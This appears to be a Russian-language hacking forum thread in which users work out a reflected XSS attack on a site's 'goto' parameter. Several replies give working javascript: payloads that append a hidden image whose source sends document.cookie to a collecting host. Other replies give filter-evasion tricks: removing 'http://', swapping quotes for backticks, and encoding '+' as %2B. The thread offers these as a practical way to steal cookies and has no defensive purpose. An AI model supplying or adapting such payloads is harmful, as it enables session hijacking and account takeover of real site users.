![]() |
Есть reflected XSS и вот такой код отрабатывает:
javascript:alert(1) Но вот такой: ">alert(1) проходит но уже блочится xss auditor-oом. Можно как-то слить куки не добавляя внутрь страницы ? |
Можно так:
Код:
javascript:i=document.createElement('img');i.style.display='none';i.src='http://localhost/?'+escape(document.cookie);console.log(document.body.appendChild(i)); |
Забыл упомянуть важную деталь. Инъекция в коде страницы отображается как атрибут src:
src="javascript:alert(1)" Когда добавляю этот код: javascript:i=document.createElement('img');i.style .display='none';i.src='http://localhost/?'+escape(document.cookie);console.log(document.bo dy.appendChild(i)); то не отображается и не отрабатывает никак |
Цитата:
|
Код:
site.com/index.php?goto=javascript:alert(1);Код:
Код:
site.com/index.php?goto=">alert(a);Код:
alert(a);" name="main" scrolling="auto" NORESIZE frameborder="0" marginwidth="20" marginheight="20" border="no">Такой: Код:
site.com/index.php?goto=javascript:i=document.createElement('img');i.style.display='none';i.src='http://localhost/?'+escape(document.cookie);console.log(document.body.appendChild(i)); |
У меня нормально отрабатывает:
http://s018.radikal.ru/i512/1708/13/002a4d5c8506.png PHP код:
|
Цитата:
Проверил - сбой происходит на "http://". Если убрать их из скрипта то всё добавляется в src но кавычки фильтруются: PHP код:
|
Кавычку можно бэктиком (`) заменить. Плюс нужно заменить на %2B.
Код:
site.com/index.php?goto=javascript:i=document.createElement(`img`);i.style.display=`none`;i.src=`//localhost/aaaaaaa?`%2Bescape(document.cookie);console.log(document.body.appendChild(i)); |
Цитата:
|
| Время: 01:55 |